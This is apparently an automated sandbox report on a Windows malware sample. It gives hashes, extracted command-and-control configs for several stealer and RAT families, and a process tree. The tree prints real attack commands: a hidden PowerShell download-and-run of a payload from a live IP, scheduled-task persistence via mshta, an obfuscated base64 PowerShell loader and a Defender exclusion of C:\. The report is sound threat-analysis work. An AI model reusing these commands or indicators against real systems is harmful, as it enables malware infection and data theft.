Overview

overview

10

Static

static

5

2025-04-05...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/04/2025, 21:24

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-04-05_63bf46f108d913a8b9e81a2ecbabb1e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    63bf46f108d913a8b9e81a2ecbabb1e6

  • SHA1

    6579b7b2885e803071104ef5650576bf8e52882e

  • SHA256

    3571eb9de0d2d89fcf48f4e7f8c9fabe7545437f9a3825f1d3141e310ff21673

  • SHA512

    e38a6c1fdf504c352c1e6b8e460b989abda54ccf8df0514fc30500cd0e1a6b2657d7a37b35738a160262fdf159150a26f7a99009eb1dc1225c1bdea0631fc7fa

  • SSDEEP

    24576:vqDEvCTbMWu7rQYlBQcBiT6rprG8a0su:vTvC/MTQYxsWR7a0s

Score
10/10
amadeydarkvisiongcleanerlummaquasar092155office04defense_evasiondiscoveryexecutionexploitloaderpersistenceratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

quasar

Version

1.5.0

Botnet

Office04

C2

goku92ad.zapto.org:5000

Mutex

a0766e5c-a1d1-4766-a1f5-4e4f9f9fe35a

Attributes
  • encryption_key

    BF72099FDBC6B48816529089CF1CF2CF86357D14

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Modded Client Startup

  • subdirectory

    SubDir

Extracted

Family

gcleaner

C2

185.156.73.98

45.91.200.135

Extracted

Family

lumma

C2

https://rodformi.run/aUosoz

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://navstarx.shop/FoaJSi

https://wstarcloc.bet/GOksAo

https://advennture.top/GKsiio

https://atargett.top/dsANGt

https://spacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

https://pepperiop.digital/oage

https://jrxsafer.top/shpaoz

https://plantainklj.run/opafg

https://puerrogfh.live/iqwez

https://quavabvc.top/iuzhd

https://ztargett.top/dsANGt

https://rambutanvcx.run/adioz

https://ywmedici.top/noagis

https://starcloc.bet/GOksAo

https://targett.top/dsANGt

Extracted

Family

darkvision

C2

82.29.67.160

Attributes
  • url

    http://107.174.192.179/data/003

    https://grabify.link/ZATFQO

    http://107.174.192.179/clean

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • DarkVision Rat

    DarkVision Rat is a trojan written in C++.

    ratdarkvision
  • Darkvision family
    darkvision
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs
    defense_evasion
  • Blocklisted process makes network request 24 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 22 IoCs
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks BIOS information in registry 2 TTPs 22 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 39 IoCs
  • Identifies Wine through registry keys 2 TTPs 10 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 47 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 38 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 46 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 18 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 60 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 29 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-04-05_63bf46f108d913a8b9e81a2ecbabb1e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-04-05_63bf46f108d913a8b9e81a2ecbabb1e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:5936
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn UYLrKma9iDw /tr "mshta C:\Users\Admin\AppData\Local\Temp\m9cTkIVph.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4052
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn UYLrKma9iDw /tr "mshta C:\Users\Admin\AppData\Local\Temp\m9cTkIVph.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1376
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\m9cTkIVph.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5224
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'H8BYIEROYFP7YTBV4JHPERL8MIKVBG0O.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5332
        • C:\Users\Admin\AppData\Local\TempH8BYIEROYFP7YTBV4JHPERL8MIKVBG0O.EXE
          "C:\Users\Admin\AppData\Local\TempH8BYIEROYFP7YTBV4JHPERL8MIKVBG0O.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1636
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2084
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10464271121\ccosvAs.cmd"
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:5136
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10464271121\ccosvAs.cmd"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:5460
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Drops startup file
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: AddClipboardFormatListener
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2572
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'
                    9⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4248
            • C:\Users\Admin\AppData\Local\Temp\10465960101\amnew.exe
              "C:\Users\Admin\AppData\Local\Temp\10465960101\amnew.exe"
              6⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2796
              • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
                7⤵
                • Downloads MZ/PE file
                • Checks computer location settings
                • Executes dropped EXE
                • Adds Run key to start application
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:5444
                • C:\Users\Admin\AppData\Local\Temp\10052540101\31bb284476.exe
                  "C:\Users\Admin\AppData\Local\Temp\10052540101\31bb284476.exe"
                  8⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:4496
                  • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                    "C:\Users\Admin\AppData\Local\Temp\10052540101\31bb284476.exe"
                    9⤵
                    • Downloads MZ/PE file
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:3884
                • C:\Users\Admin\AppData\Local\Temp\10052550101\e67fb0187c.exe
                  "C:\Users\Admin\AppData\Local\Temp\10052550101\e67fb0187c.exe"
                  8⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:5744
                  • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                    "C:\Users\Admin\AppData\Local\Temp\10052550101\e67fb0187c.exe"
                    9⤵
                    • Downloads MZ/PE file
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:3104
            • C:\Users\Admin\AppData\Local\Temp\10466830101\mTk60rz.exe
              "C:\Users\Admin\AppData\Local\Temp\10466830101\mTk60rz.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:5168
              • C:\Users\Admin\AppData\Local\Temp\onefile_5168_133883619055485910\ZSoeRVBe.exe
                C:\Users\Admin\AppData\Local\Temp\10466830101\mTk60rz.exe
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:5780
            • C:\Users\Admin\AppData\Local\Temp\10467670101\60981fb58f.exe
              "C:\Users\Admin\AppData\Local\Temp\10467670101\60981fb58f.exe"
              6⤵
              • Executes dropped EXE
              PID:2124
            • C:\Users\Admin\AppData\Local\Temp\10467680101\bot.exe
              "C:\Users\Admin\AppData\Local\Temp\10467680101\bot.exe"
              6⤵
              • Executes dropped EXE
              PID:4052
            • C:\Users\Admin\AppData\Local\Temp\10467700101\17baf2f215.exe
              "C:\Users\Admin\AppData\Local\Temp\10467700101\17baf2f215.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:4488
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c schtasks /create /tn Yusw2maTBlJ /tr "mshta C:\Users\Admin\AppData\Local\Temp\oV95YcOBc.hta" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                PID:5344
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn Yusw2maTBlJ /tr "mshta C:\Users\Admin\AppData\Local\Temp\oV95YcOBc.hta" /sc minute /mo 25 /ru "Admin" /f
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:2952
              • C:\Windows\SysWOW64\mshta.exe
                mshta C:\Users\Admin\AppData\Local\Temp\oV95YcOBc.hta
                7⤵
                • Checks computer location settings
                • System Location Discovery: System Language Discovery
                PID:4728
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'0ELBDWVQWVU8HB53KIA28CHGR07ZFXG5.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5388
                  • C:\Users\Admin\AppData\Local\Temp0ELBDWVQWVU8HB53KIA28CHGR07ZFXG5.EXE
                    "C:\Users\Admin\AppData\Local\Temp0ELBDWVQWVU8HB53KIA28CHGR07ZFXG5.EXE"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:5340
            • C:\Users\Admin\AppData\Local\Temp\10467710101\c6e06a9fda.exe
              "C:\Users\Admin\AppData\Local\Temp\10467710101\c6e06a9fda.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4660
            • C:\Users\Admin\AppData\Local\Temp\10467720101\239877c3c4.exe
              "C:\Users\Admin\AppData\Local\Temp\10467720101\239877c3c4.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:532
            • C:\Users\Admin\AppData\Local\Temp\10467730101\08f8fba12f.exe
              "C:\Users\Admin\AppData\Local\Temp\10467730101\08f8fba12f.exe"
              6⤵
              • Checks BIOS information in registry
              • Executes dropped EXE
              PID:460
            • C:\Users\Admin\AppData\Local\Temp\10467740101\29cb523fae.exe
              "C:\Users\Admin\AppData\Local\Temp\10467740101\29cb523fae.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:6056
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM firefox.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
